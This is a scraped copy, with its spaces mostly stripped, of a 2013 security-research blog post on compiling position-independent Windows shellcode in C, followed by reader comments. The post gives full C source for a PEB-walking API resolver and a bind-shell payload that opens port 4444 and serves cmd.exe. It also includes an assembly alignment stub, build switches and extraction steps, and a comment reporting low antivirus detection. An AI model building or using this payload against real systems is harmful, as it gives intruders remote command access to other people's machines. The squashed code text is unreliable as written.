Sei sulla pagina 1di 10

8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC

Exploit Monday
SecurityResearchandEsotericPowerShellKnowledge

FRIDAY,AUGUST16,2013 TWITTER
@mattifestation
WritingOptimizedWindowsShellcodeinC
CODE
Download:PIC_Bindshell
PowerSploitonGitHub
WindowShellcodeinC
Introduction MemoryTools.ps1
Replacex64Process.ps1
Illbethefirsttoadmit:writingshellcodesucks.Whileyouhavetheadvantageofemployingsomecooltrickstominimize
thesizeofyourpayload,writingshellcodeisstillerrorproneanddifficulttomaintain.Forexample,Ifinditquitechallenging JOURNEYBACKINTIME
havingtotrackregisterallocations(especiallyinx86)andensureproperstackalignment(especiallyinx86_64).
2014(4)
Eventually,Igotfedup,steppedback,andaskedmyself,WhycantIjustwritemyshellcodepayloadsinCandletthe
compilerandlinkertakecareoftherest?Thatway,youonlyhavetowriteyourpayloadonceandyoucantargetittoany 2013(11)
architecturex86,x86_64,andARM.Also,youwouldhavethefollowingaddedbenefits: 11/1011/17(1)
09/2910/06(1)
1. Youcansubjectyourpayloadtostaticanalysistools.
08/1108/18(1)
2. Youcanunittestyourcode.
WritingOptimizedWindows
3. Youcanemployheavycompilerandlinkeroptimizationstoyourpayload. ShellcodeinC
4. Thecompilerismuchbetteratoptimizingassemblyforsizeand/orspeedthanyouare.
07/2808/04(1)
5. YoucanwriteyourpayloadinVisualStudio.Intellisense,FTW!
06/1606/23(1)
Now,youcouldsayImabitofaMicrosoftfanboy.Thatsaid,consideringthemajorityoftheshellcodeIvewrittenhas 06/0206/09(1)
beenforWindows,IdecidedtotakeonthechallengeofusingonlyMicrosofttoolstoemitpositionindependentshellcode. 03/3104/07(2)
Thefundamentalchallengehowever,isthattheMicrosoftCcompilercl.exedoesnotemitpositionindependentcode
03/2403/31(1)
(withtheexceptionofItanium).Ultimately,toachievethisgoal,weregoingtohavetorelyuponsomeCcodingtricksand
somecarefullycraftedcompilerandlinkerswitches. 02/1702/24(1)
01/0601/13(1)
ShellcodeBacktotheBasics
2012(19)
2011(11)
Whenwritingshellcode,whetheryoudoitinCorassembly,thefollowingrulesapply:

1)Itmustbepositionindependent.

Inmostcases,youcannotknowaprioritheaddressatwhichyourshellcodeisgoingtoland.Therefore,allbranching
instructionsandinstructionsthatdereferencememorymustbeexecutedrelativetothebaseaddressofwhereyouwere
loaded.Thegcccompilerhastheoptionofemittingpositionindependentcode(PIC)butunfortunately,Microsoftscompiler
doesnot.

2)Yourpayloadisonthehookforresolvingexternalreferences.

Ifyouwantyourpayloadtodoanythinguseful,atsomepoint,youregoingtohavetocallWin32APIfunctions.Inyour
typicalexecutable,externalsymbolicreferencesaresatisfiedinoneoftwoways:eithertheyareresolvedbytheloaderat
startupbywalkingtheimportdirectoryoftheexecutableortheyareresolveddynamicallyatruntimeusing
GetProcAddress.ShellcodeneitherhastheluxuryofbeingloadedbyaloadernorcanitjustcallGetProcAddresssinceit
hasnoideawhattheaddressofkernel32!GetProcAddressisinthefirstplaceaclassicchickenandtheeggproblem.

Inordertoresolvetheaddressesoflibraryfunctions,shellcodemustresolvefunctionnamesonitsown.Thisistypically
accomplishedinshellcodewithafunctionthattakesa32bitmoduleandfunctionhash,getsthePEB(Process
EnvironmentBlock)address,walksalinkedlistoftheloadedmodules,scanstheexportdirectoryofeachmodule,hashes
eachfunctionname,comparesitagainstthehashprovided,andifthereisamatch,thefunctionaddressiscalculatedby
addingitsRVAtothebaseaddressoftheloadedmodule.Imobviouslyglossingoverthedetailsoftheprocessinthe
interestofspacebutfortunately,thisprocessiswidelyused(e.g.inMetasploit)andwelldocumented.

3)Yourpayloadmustsavestackandregisterstateuponentryandrestorestateuponexitingtheshellcode.

WewillgetthisforfreebywritingthepayloadinCbyvirtueofhavingfunctionprologsandepilogsemittedbythecompiler
foreachfunction.

GetProcAddressWithHashFunctioninC

Inthedownloadprovided,theGetProcAddressWithHashfunctionresolvesWin32APIexportedfunctionaddresses.I
adaptedthelogicofthefunctionfromtheMetasploitblock_apiassemblyfunction:

http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 1/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
#include<windows.h>
#include<winternl.h>

//ThiscompilestoaRORinstruction
//Thisisneededbecause_lrotr()isanexternalreference
//Also,thereisnotaconsistentcompilerintrinsictoaccomplishthisacrossallthreeplatforms.
#defineROTR32(value,shift)(((DWORD)value>>(BYTE)shift)|((DWORD)value<<(32(BYTE)shift)))

//RedefinePEBstructures.Thestructuredefinitionsinwinternl.hareincomplete.
typedefstruct_MY_PEB_LDR_DATA{
ULONGLength
BOOLInitialized
PVOIDSsHandle
LIST_ENTRYInLoadOrderModuleList
LIST_ENTRYInMemoryOrderModuleList
LIST_ENTRYInInitializationOrderModuleList
}MY_PEB_LDR_DATA,*PMY_PEB_LDR_DATA

typedefstruct_MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRYInLoadOrderLinks
LIST_ENTRYInMemoryOrderLinks
LIST_ENTRYInInitializationOrderLinks
PVOIDDllBase
PVOIDEntryPoint
ULONGSizeOfImage
UNICODE_STRINGFullDllName
UNICODE_STRINGBaseDllName
}MY_LDR_DATA_TABLE_ENTRY,*PMY_LDR_DATA_TABLE_ENTRY

HMODULEGetProcAddressWithHash(_In_DWORDdwModuleFunctionHash)
{
PPEBPebAddress
PMY_PEB_LDR_DATApLdr
PMY_LDR_DATA_TABLE_ENTRYpDataTableEntry
PVOIDpModuleBase
PIMAGE_NT_HEADERSpNTHeader
DWORDdwExportDirRVA
PIMAGE_EXPORT_DIRECTORYpExportDir
PLIST_ENTRYpNextModule
DWORDdwNumFunctions
USHORTusOrdinalTableIndex
PDWORDpdwFunctionNameBase
PCSTRpFunctionName
UNICODE_STRINGBaseDllName
DWORDdwModuleHash
DWORDdwFunctionHash
PCSTRpTempChar
DWORDi

#ifdefined(_WIN64)
PebAddress=(PPEB)__readgsqword(0x60)
#elifdefined(_M_ARM)
//Icanassureyouthatthisisnotamistake.TheCcompilerimproperlyemitstheproperopcodes
//necessarytogetthePEB.Ldraddress
PebAddress=(PPEB)((ULONG_PTR)_MoveFromCoprocessor(15,0,13,0,2)+0)
__emit(0x00006B1B)
#else
PebAddress=(PPEB)__readfsdword(0x30)
#endif

pLdr=(PMY_PEB_LDR_DATA)PebAddress>Ldr
pNextModule=pLdr>InLoadOrderModuleList.Flink
pDataTableEntry=(PMY_LDR_DATA_TABLE_ENTRY)pNextModule

while(pDataTableEntry>DllBase!=NULL)
{
dwModuleHash=0
pModuleBase=pDataTableEntry>DllBase
BaseDllName=pDataTableEntry>BaseDllName
pNTHeader=(PIMAGE_NT_HEADERS)((ULONG_PTR)pModuleBase+((PIMAGE_DOS_HEADER)pModuleBase)>e_lfanew)
dwExportDirRVA=pNTHeader>OptionalHeader.DataDirectory[0].VirtualAddress

//Getthenextloadedmoduleentry
pDataTableEntry=(PMY_LDR_DATA_TABLE_ENTRY)pDataTableEntry>InLoadOrderLinks.Flink

//Ifthecurrentmoduledoesnotexportanyfunctions,moveontothenextmodule.
if(dwExportDirRVA==0)
{
continue
}

//Calculatethemodulehash
for(i=0i<BaseDllName.MaximumLengthi++)
{
pTempChar=((PCSTR)BaseDllName.Buffer+i)

dwModuleHash=ROTR32(dwModuleHash,13)

if(*pTempChar>=0x61)
{
dwModuleHash+=*pTempChar0x20
}
else
{
dwModuleHash+=*pTempChar
}
}
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 2/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
}

pExportDir=(PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)pModuleBase+dwExportDirRVA)

dwNumFunctions=pExportDir>NumberOfNames
pdwFunctionNameBase=(PDWORD)((PCHAR)pModuleBase+pExportDir>AddressOfNames)

for(i=0i<dwNumFunctionsi++)
{
dwFunctionHash=0
pFunctionName=(PCSTR)(*pdwFunctionNameBase+(ULONG_PTR)pModuleBase)
pdwFunctionNameBase++

pTempChar=pFunctionName

do
{
dwFunctionHash=ROTR32(dwFunctionHash,13)
dwFunctionHash+=*pTempChar
pTempChar++
}while(*(pTempChar1)!=0)

dwFunctionHash+=dwModuleHash

if(dwFunctionHash==dwModuleFunctionHash)
{
usOrdinalTableIndex=*(PUSHORT)(((ULONG_PTR)pModuleBase+pExportDir>AddressOfNameOrdinals)+(2*i))
return(HMODULE)((ULONG_PTR)pModuleBase+*(PDWORD)(((ULONG_PTR)pModuleBase+pExportDir>AddressOfFunctions)+(4*
}
}
}

//Allmoduleshavebeenexhaustedandthefunctionwasnotfound.
returnNULL
}

Goingfromtoptobottom,youmaynoticeafewthings:

IdefinedROTR32asamacro.

TheMetasploitpayloadusesarotaterighthashingfunction.Unfortunately,thereisnorotaterightoperatorinC.Thereare
severalrotaterightcompilerinstrinsicsbuttheyarenotconsistentacrossprocessorarchitectures.TheROTR32macro
implementsthelogicofarotaterightoperationusingtheequivalentlogicaloperatorsavailabletousinC.Whatscool,is
thatthecompilerwillrecognizethatthismacroperformsarotaterightoperationanditwillactuallycompiledowntoasingle
rotaterightassemblyinstruction.Thatsprettybasass,inmyopinion.

Iredefinetwostructuredefinitions.

Bothofthosestructurearedefinedinwinternl.hbutMicrosoftspublicdefinitionisincompletesoIsimplyredefinedthe
structureswiththefieldsIneeded.

ThereisadifferentmethodofgettingthePEBaddressdependingupontheprocessorarchitectureyouretargeting.

ThePEBaddressisthefirststepinresolvingexportedfunctionaddresses.ThePEBisastructurethatcontainsseveral
pointerstotheloadedmodulesofaprocess.Inx86andx86_64,thePEBaddressisobtainedbydereferencinganoffset
intothefsandgssegmentregisters,respectively.OnARM,thePEBaddressobtainedbyreadingaspecificregisterfrom
thesystemcontrolprocessor(CP15).Fortunately,thereisarespectivecompilerintrinsicforeachprocessorarchitecture.
Forwhateverreasonthough,thecompilerwasnotemittingcorrectARMassemblyinstructionsoIhadtotweakinstructions
inaverycounterintuitivemanner.

ImplementingYourPrimaryPayloadinC

Imgoingtobeusingasimplebindshellpayloadasanexampleforthispost.HereismyimplementationinC:

#defineWIN32_LEAN_AND_MEAN

#pragmawarning(disable:4201)//Disablewarningabout'namelessstruct/union'

#include"GetProcAddressWithHash.h"
#include"64BitHelper.h"
#include<windows.h>
#include<winsock2.h>
#include<intrin.h>

#defineBIND_PORT4444
#defineHTONS(x)(((((USHORT)(x))>>8)&0xff)|((((USHORT)(x))&0xff)<<8))

//RedefineWin32functionsignatures.Thisisnecessarybecausetheoutput
//ofGetProcAddressWithHashiscastasafunctionpointer.Also,thismakes
//workingwiththesefunctionsajoyinVisualStudiowithIntellisense.
typedefHMODULE(WINAPI*FuncLoadLibraryA)(
_In_z_LPTSTRlpFileName
)

typedefint(WINAPI*FuncWsaStartup)(
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 3/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
typedefint(WINAPI*FuncWsaStartup)(
_In_WORDwVersionRequested,
_Out_LPWSADATAlpWSAData
)

typedefSOCKET(WINAPI*FuncWsaSocketA)(
_In_intaf,
_In_inttype,
_In_intprotocol,
_In_opt_LPWSAPROTOCOL_INFOlpProtocolInfo,
_In_GROUPg,
_In_DWORDdwFlags
)

typedefint(WINAPI*FuncBind)(
_In_SOCKETs,
_In_conststructsockaddr*name,
_In_intnamelen
)

typedefint(WINAPI*FuncListen)(
_In_SOCKETs,
_In_intbacklog
)

typedefSOCKET(WINAPI*FuncAccept)(
_In_SOCKETs,
_Out_opt_structsockaddr*addr,
_Inout_opt_int*addrlen
)

typedefint(WINAPI*FuncCloseSocket)(
_In_SOCKETs
)

typedefBOOL(WINAPI*FuncCreateProcess)(
_In_opt_LPCTSTRlpApplicationName,
_Inout_opt_LPTSTRlpCommandLine,
_In_opt_LPSECURITY_ATTRIBUTESlpProcessAttributes,
_In_opt_LPSECURITY_ATTRIBUTESlpThreadAttributes,
_In_BOOLbInheritHandles,
_In_DWORDdwCreationFlags,
_In_opt_LPVOIDlpEnvironment,
_In_opt_LPCTSTRlpCurrentDirectory,
_In_LPSTARTUPINFOlpStartupInfo,
_Out_LPPROCESS_INFORMATIONlpProcessInformation
)

typedefDWORD(WINAPI*FuncWaitForSingleObject)(
_In_HANDLEhHandle,
_In_DWORDdwMilliseconds
)

//Writethelogicfortheprimarypayloadhere
//Normally,Iwouldcallthis'main'butifyoucallafunction'main',link.exerequiresthatyoulinkagainsttheCRT
//Rather,Iwillpassalinkeroptionof"/ENTRY:ExecutePayload"inordertogetaroundthisissue.
VOIDExecutePayload(VOID)
{
FuncLoadLibraryAMyLoadLibraryA
FuncWsaStartupMyWSAStartup
FuncWsaSocketAMyWSASocketA
FuncBindMyBind
FuncListenMyListen
FuncAcceptMyAccept
FuncCloseSocketMyCloseSocket
FuncCreateProcessMyCreateProcessA
FuncWaitForSingleObjectMyWaitForSingleObject
WSADATAWSAData
SOCKETs
SOCKETAcceptedSocket
structsockaddr_inservice
STARTUPINFOStartupInfo
PROCESS_INFORMATIONProcessInformation
//Stringsmustbetreatedasachararrayinordertopreventthemfrombeingstoredin
//an.rdatasection.Inordertomaintainpositionindependence,alldatamustbestored
//inthesamesection.ThankstoNickHarbourforcomingupwiththistechnique:
//http://nickharbour.wordpress.com/2010/07/01/writingshellcodewithaccompiler/
charcmdline[]={'c','m','d',0}
charmodule[]={'w','s','2','_','3','2','.','d','l','l',0}

//Initializestructures.SecureZeroMemoryisforcedinlineanddoesn'tcallanexternalmodule
SecureZeroMemory(&StartupInfo,sizeof(StartupInfo))
SecureZeroMemory(&ProcessInformation,sizeof(ProcessInformation))

#pragmawarning(push)
#pragmawarning(disable:4055)//Ignorecastwarnings
//ShouldIbevalidatingthatthesereturnavalidaddress?Yes...Meh.
MyLoadLibraryA=(FuncLoadLibraryA)GetProcAddressWithHash(0x0726774C)

//YoumustcallLoadLibraryonthewinsockmodulebeforeattemptingtoresolveitsexports.
MyLoadLibraryA((LPTSTR)module)

MyWSAStartup=(FuncWsaStartup)GetProcAddressWithHash(0x006B8029)
MyWSASocketA=(FuncWsaSocketA)GetProcAddressWithHash(0xE0DF0FEA)
MyBind=(FuncBind)GetProcAddressWithHash(0x6737DBC2)
MyListen=(FuncListen)GetProcAddressWithHash(0xFF38E9B7)
MyAccept=(FuncAccept)GetProcAddressWithHash(0xE13BEC74)
MyCloseSocket=(FuncCloseSocket)GetProcAddressWithHash(0x614D6E75)
MyCreateProcessA=(FuncCreateProcess)GetProcAddressWithHash(0x863FCC79)
http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 4/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
MyCreateProcessA=(FuncCreateProcess)GetProcAddressWithHash(0x863FCC79)
MyWaitForSingleObject=(FuncWaitForSingleObject)GetProcAddressWithHash(0x601D8708)
#pragmawarning(pop)

MyWSAStartup(MAKEWORD(2,2),&WSAData)
s=MyWSASocketA(AF_INET,SOCK_STREAM,0,NULL,0,0)

service.sin_family=AF_INET
service.sin_addr.s_addr=0//Bindto0.0.0.0
service.sin_port=HTONS(BIND_PORT)

MyBind(s,(SOCKADDR*)&service,sizeof(service))
MyListen(s,0)
AcceptedSocket=MyAccept(s,NULL,NULL)
MyCloseSocket(s)

StartupInfo.hStdError=(HANDLE)AcceptedSocket
StartupInfo.hStdOutput=(HANDLE)AcceptedSocket
StartupInfo.hStdInput=(HANDLE)AcceptedSocket
StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW
StartupInfo.cb=68

MyCreateProcessA(0,(LPTSTR)cmdline,0,0,TRUE,0,0,0,&StartupInfo,&ProcessInformation)
MyWaitForSingleObject(ProcessInformation.hProcess,INFINITE)
}

ThereareafewthingsIneededtobemindfulofwhilewritingthepayloadinordertosatisfytherequirementsimposedby
positionindependentshellcode:

IdefinedHTONSasamacro.

Itwaseasiertodefinethisasamacroversusincurringtheoverheadofcallingws2_32.dll!htons.Besides,HTONSis
ideallysuitedforamacrosinceallitdoesisconvertaUSHORTfromhosttonetworkbyteorder.

IhadtomanuallydefinethefunctionsignaturesforeachWin32APIfunction.

ThiswasnecessarysinceeachcalltoGetProcAddressWithHashneedstobecasttoafunctionpointer.Also,with
Intellisense,callingthefunctionhasthelookandfeelofcallinganormalWin32functioninVisualStudio.Thispartis
admittedlyapainintheass.Itcertainlybeatstheguessandcheckmethodthoughwhenwritingassemblybyhand!

"ExecutePayload"isthefunctionthatimplementstheprimarylogicofthebindshell.

Normally,youwouldcallthefunction"main".OneoftheproblemsIranintothoughisthatwhenthelinkerencountersa
functionnamedmain,itexpectstobelinkedagainsttheCruntimelibrary.Obviously,shellcodeshouldntanddoesnt
requiretheCRTsorenamingtheentrypointtosomethingbesidesmainandexplicitlytellingthelinkeryourentrypoint
functionobviatestheneedtolinkagainsttheCRT.

cmdandws2_32.dllareexplicitlydefinedasnullterminatedcharacterarrays.

ThistechniquewasfirstdescribedbyNickHarbourasawaytoforcethecompilertoallocatestringsonthestack.By
default,stringsarestoredinthe.rdatasectionofabinaryandrelocationsaredefinedintheexecutableforanyreferences
tothosestrings.Storingstringsonthestackallowsforreferencestobemadeinapositionindependentmanner.

SecureZeroMemoryisusedtoinitializestackvariables

SecureZeroMemoryisbasicallyamemsetthatcannotbecompiledout.ItisalsoaninlinefunctionmeaningIamspared
theoverheadofhavingtoresolvetheaddressofmemset.

Therestofthepayload,isyourtypical,runofthemillConlyslightlymalicious.

EnsuringProperStackAlignmentin64bitShellcode

32bitarchitectures(i.e.x86andARMv7)requirethatfunctioncallsbemadewith4bytestackalignment.Itisprettymuch
guaranteedthatyourshellcodewilllandwith4bytealignment.64bitshellcodehowever,needstohave16bytestack
alignment.Thisisduetoarequirementimposedbyutilizing128bitXMMregisters.Thosewhohavewritten64bit
shellcodehavemostlikelyexperiencedcrashesataninstructionusinganXMMregisteruponcallingWin32afunction.
Thisisduetostackmisalignment.

Executablefiles,whenloadedareaffordedtheluxuryofhavingguaranteedalignmentduringCRTinitialization.Shellcode
isaffordednosuchluxury,however.So,inordertoensurethatmyshellcodehitsitsentrypointwithproperstack
alignmenton64bit,Ihadtowriteashortassemblystubthatguaranteedalignment.Then,asaprebuildeventinVisual
Studio,Iassembletheshellcodewithml64(MASMtheMicrosoftAssembler)andspecifytheresultingobjectfileasa
dependencyforthelinker.

Hereisthecodethatperformsthealignment:

http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 5/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
EXTRNExecutePayload:PROC
PUBLICAlignRSPMarkingAlignRSPasPUBLICallowsforthefunction
tobecalledasanexterninourCcode.

_TEXTSEGMENT

AlignRSPisasimplecallstubthatensuresthatthestackis16bytealignedprior
tocallingtheentrypointofthepayload.Thisisnecessarybecause64bitfunctions
inWindowsassumethattheywerecalledwith16bytestackalignment.Whenamd64
shellcodeisexecuted,youcan'tbeassuredthatyoustackis16bytealigned.Forexample,
ifyourshellcodelandswith8bytestackalignment,anycalltoaWin32functionwilllikely
crashuponcallinganyASMinstructionthatutilizesXMMregisters(whichrequire16byte)
alignment.

AlignRSPPROC
pushrsiPreserveRSIsincewe'restompingonit
movrsi,rspSavethevalueofRSPsoitcanberestored
andrsp,0FFFFFFFFFFFFFFF0hAlignRSPto16bytes
subrsp,020hAllocatehomingspaceforExecutePayload
callExecutePayloadCalltheentrypointofthepayload
movrsp,rsiRestoretheoriginalvalueofRSP
poprsiRestoreRSI
retReturntocaller
AlignRSPENDP

_TEXTENDS

END

Basically,whatshappeninghereisIampreservingtheoriginalstackvalue,andingRSP(thestackpointer)toachieve16
bytealignment,allocatinghomingspace,andthencallingtheoriginalentrypointExecutePayload(i.e.thebindshell
code).

IalsohaveasmallhelperfunctioninCthatsimplycallsAlignRSP:

#ifdefined(_WIN64)
externVOIDAlignRSP(VOID)

VOIDBegin(VOID)
{
//CalltheASMstubthatwillguarantee16bytestackalignment.
//ThestubwillthencalltheExecutePayload.
AlignRSP()
}
#endif

Thislittlehelperfunctionwillthenserveasthenewentrypointthatwillbespecifiedtothelinker.Iwillexplainshortlywhy
thiswrapperfunctionisnecessary.

CompilingtheShellcode

Iusethefollowingcompiler(cl.exe)commandlineswitchesinmyVisualStudio2012project:

/GS/TC/GL/W4/O1/nologo/Zl/FA/Os

Eachswitchwarrantsanexplanationasitisrelevanttotheshellcodethatwillbegenerated.

/GS:Disablesstackbufferoverrunchecks.Ifenabled,externalstackcookiesetterandgetterfunctionswouldbecalled
whichwouldnolongermaketheshellcodepositionindependent.

/TC:TellsthecompilertotreatallfilesasCsourcefiles.Oneofthequirksofthiscommandlineswitchisthatalllocal
variablesmustbedefinedatthebeginningofafunction.Iftheyarenot,unintuitiveerrorswilloccurwhenattemptingto
compile.

/GL:Wholeprogramoptimization.Thisoptiontellsthelinker(viathe/LTGCoption)tooptimizeacrossfunctioncalls.I
chosethisoptionbecauseIjustreallyliketheideaoffullyoptimizedshellcode.:D

/W4:Enablesthehighestwarninglevel.Thisisjustgoodpractice.

/O1:Tellsthecompilertofavorsmallcodeoverfastcodeanidealattributeofshellcode.

/FA:Outputsanassemblylisting.Thisisoptional.Ijustprefertovalidatetheassemblycodeemittedbythecompiler.

/Zl:OmitthedefaultCruntimelibrarynamefromtheresultingobjectfile.Thisservestotellthelinkerthatyoudontintend
tolinkagainsttheCruntime.

/Os:Anotherwaytotellthecompilertofavorsmallcode.

http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 6/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC

LinkingtheShellcode

Thefollowinglinker(link.exe)switchesareusedforx86/ARMandx86_64,respectively:

/LTCG/ENTRY:"ExecutePayload"/OPT:REF/SAFESEH:NO/SUBSYSTEM:CONSOLE/MAP
/ORDER:@"function_link_order.txt"/OPT:ICF/NOLOGO/NODEFAULTLIB

/LTCG"x64\Release\\AdjustStack.obj"/ENTRY:"Begin"/OPT:REF/SAFESEH:NO
/SUBSYSTEM:CONSOLE/MAP/ORDER:@"function_link_order64.txt"/OPT:ICF/NOLOGO/NODEFAULTLIB

Eachswitchwarrantsanexplanationasitisrelevanttotheshellcodethatwillbegenerated.

/LTCG:Enablesglobaloptimizationsbythelinker.Thecompilerhaslittletonocontroloveroptimizationsacrossfunction
callssinceitcompilesonafunctionbyfunctionbasis.Therefore,thelinkerisideallysuitedtoperformoptimizationsacross
functioncallssinceitreceivesalloftheobjectfilesemittedbythecompiler.

/ENTRY:Specifiestheentrypointofthebinary.ThisisExecutePayload(thebindshelllogic)inx86andARM.However,
inx86_64,itisBeginthecalltothestackalignmentstubAlignRSP.ThereasontheBeginfunctionisnecessaryin
64BitHelper.hisbecausesincewereeventuallyemittingshellcode,wehavetoexplicitlysetthelinkorder(viathe/ORDER
switch).TheMicrosoftlinkerdoesntallowyoutospecifylinkorderforexternfunctions(i.e.AlignRSP).Togetaroundthis,I
simplywrappedAlignRSPinafunction.Beginisthenspecifiedasthefirstfunctiontobelinked.Thatway,itwillbethe
firstcodetobecalledintheshellcode.

/OPT:REF:Eliminatesfunctionsand/ordatathatareneverreferenced.Wewantourshellcodetobeassmallaspossible.
Thislinkeroptimizationwillreduceshellcodesizebyeliminatingdeadcode/data.

/SAFESEH:NO:DonotemitSafeSEHhandlers.Shellcodehasnoneedforregisteredexceptionhandling.

/SUBSYSTEM:CONSOLE:Asfarasshellcodegoes,thesubsystemisirrelevant.SpecifyingCONSOLEthoughwillallow
youtotestthecompiledexefromthecommandline.

/MAP:Generateamapfile.Thisfileisusedtopulloutthesizeoftheshellcode.

/ORDER:Becausewearegeneratingshellcode,theorderinwhichfunctionsarelinkedisextremelyimportant.Originally,it
wasmyassumptionthattheentrypointfunctionwouldbethefirstfunctiontobelinked.This,however,didnotturnoutto
bethecase.The/ORDERswitchtakesatextfilecontainingthefunctionsintheorderinwhichtheyshouldbelinked.Youll
noticethatthefunctionatthetopofeachlististheentrypointfunction.

/OPT:ICF:Removesredundantfunctions.Thisisoptional.

/NODEFAULTLIB:Explicitlytellsthelinkernottoattempttousedefaultlibrarieswhenresolvingexternalreferences.This
switchishandyifyouaccidentallyhaveanexternalreferenceinyourcode.Thelinkerwillthrowanerrorwhichwillbringto
yourattentionthefactthatyourpayloadcannothaveanyexternalreferences!

ExtractingtheShellcode

Afterthecodeiscompiledandlinked,thefinalstepistopulltheshellcodeoutoftheresultingexe.Thisrequiresatoolthat
canparseaPEfileandpullthebytesoutofthe.textsection.Fortunately,GetPEHeaderalreadydoesthis.Theonly
caveatthoughisthatifyouweretopullouttheentire.textsection,youwouldbeleftwithabunchofnullpadding.Thats
whyIwroteanotherscriptthatparsesthemapfilewhichcontainstheactuallengthofthecodeinthe.textsection.

ForthosewhoenjoyanalyzingPEfiles,itisworthinvestigatingtheexefilesgenerated.Itwillonlycontainasinglesection
.textanditwillnothaveanyentriesinthedatadirectoriesintheoptionalheader.ThisisexactlywhatIsoughtaftera
binarywithoutanyrelocations,extraneoussections,orimports.

BuildSteps:PIC_Bindshell

PIC_Bindshell.zipincludesaVisualStudio2012project.ItesteditonbothVS2012ExpressandUltimateEdition.Justload
thesolutionfile(*.sln)inVisualStudio,selectthearchitectureyouwanttotarget,andthenbuild.Whatisoutputisanexe
andashellcode(*.bin)payload.

TheExpressEditionofVisualStudio2012doesnotsupportcompilingforARM.Also,ifthisisyourfirsttimecompilingfor
ARM,VisualStudiowillthrowthefollowingerroruponattemptingtocompile:

C:\ProgramFiles
(x86)\MSBuild\Microsoft.Cpp\v4.0\V110\Platforms\ARM\PlatformToolsets\v110\Microsoft.Cpp.AR
M.v110.targets(36,5):errorMSB8022:CompilingDesktopapplicationsfortheARMplatform
isnotsupported.

YoualsoneedtoremovethefollowinglinefromC:\ProgramFiles(x86)\MicrosoftVisualStudio11.0\VC\includecrtdefs.h
(338):

http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 7/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
#errorCompilingDesktopapplicationsfortheARMplatformisnotsupported.

Simplyremovethoselines,restartVisualStudio,andthenyoullbegoodtogo.

Conclusion

WithaclearerunderstandingofhowtheMicrosoftcompilerandlinkerworkinconcert,itispossibletowritefullyoptimized
WindowsshellcodeinCthatcanbetargetedtoanysupportedprocessorarchitecture.Thatdoesntmeanthatyou
shouldnthaveaclearunderstandingoftheassemblylanguageyouretargeting,though.Itjustmeansyoudonthaveto
wastecycleswritinglargequantitiesofassemblylanguagebyhand.Also,Illtrustthecompilerovermyfeeblebrainany
day.

BTW,my64bitshellcodeusesXMMregisters.Doesyours?:P

Labels:compiling,linking,powershell,shellcode,VisualStudio

12comments:

Anonymous August16,2013at9:29PM

Bewareofswitchstatementsthecompilercanoptimisethemtouseaglobalvariable(switchtable).

Reply

Replies

Matt August16,2013at9:34PM

Interesting.I'llbeonthelookout.Thanksforthetip.:)

ThetechniquesI'vedescribedasyouprobablyknowarebynomeansasilverbulletandmanualvalidationwillstill
benecessary.Thecompileriscomplicatedbeyondbycomprehension.

Reply

tiraniddo August17,2013at6:08AM

Onewayyoucansortofgetpositionindependentconstantstringsisyoucanmergethe.rdatasectionintothe.textsection

http://www.exploitmonday.com/2013/08/writingoptimizedwindowsshellcodeinc.html 8/10
8/22/2015 ExploitMonday:WritingOptimizedWindowsShellcodeinC
(using/merge:.rdata=.textlinkerflag)thenuseastubfunctionwhichgetsthecurrentEIPandandcalculatesthestringlocation.
Thenicethingaboutthisisitcanbecomeanooponx64becausethecompilerwillemitRIPrelativeinstructions.

Reply

Replies

Matt August17,2013at7:39AM

HeyJames.IplayedaroundwithmergingsectionsabitwhenIwasdevelopingthesetechniques.Iultimatelyopted
nottomergesectionsthoughsincethecompilerstillemitsrelocations.AndwhileIhavethetoolset(GetObjDump)
tolistandmodifyrelocations,I'dmuchratherleavethattasktothelinker.I'lladmitthough,usingchararraysispretty
annoying.

tiraniddo August17,2013at8:19AM

PerhapstheMScompilershavechangedsomewhatsinceIlastactuallywroteCshellcode,wasover3yearsago
now:)StillwhatIrecallonx86itwouldgeneraterelocations,butaslongasyoubouncethrougharebasingfunction
itdidn'tmatterifyoujustdiscardedtherelocationsafterwards.AndIrecallx64justalwaysgeneratedRIPrelative,
butagainmaybenotanymore.

Stillitisagoodarticle:)

Reply

Marqo09 August18,2013at12:31AM

Nice job with this blog. I especially appreciate you taking the time to verbosely document. Saved me quite a bit of time not
havingtoreferencethecompilerandlinkerswitches.

Reply

ThierryFranzetti October10,2013at7:57AM

Just for fun, I compiled a sample and submitted it to VirusTotal (MD5: 3cbf414a9f277991e7baaa1fa640827b). At the time of
writing,thedetectionratiois3/48!Notbadenoughforopeningabindshell...

Reply

Replies

Matt October10,2013at9:04PM

Have you tried submitting the 64bit version? The sample I have on Github didn't flag at all! :) BTW, expect
improvementstothesetechniquesinthenearfuture.

Reply

Glenn February7,2014at2:51AM

Nicearticle.
Just a note that your way of resolving API calls doesn't work for all API functions. Some functions such as HeapAlloc are
forwarded to another dll. In this case, your resolving function returns an adress to a string with the name of the forwarded
location(NTDLL.RtlAllocateHeapforAllocHeap)

Reply

Replies

MattGraeber February9,2014at7:54AM

Glenn,

That's a fantastic point and I should have mentioned that in the post. I intentionally shied away from dealing with
forwardedfunctionssinceIhonestlydidn'thavethemotivationtowritethelogicthatfollowedtheforwardedfunction
and resolved the function accordingly. I should at least detect when I hit a forwarded function and return null
accordingly.

Thanks,
Matt

Reply

Glenn April2,2014at11:42AM

/GL:Wholeprogramoptimizationworksmostlyforme.Butinonepieceofshellcodeitcausedtheerror"unresolvedexternal
